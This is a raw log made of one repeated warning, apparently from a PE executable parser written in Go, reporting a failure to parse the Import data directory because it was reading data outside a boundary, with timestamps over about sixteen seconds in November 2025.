source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 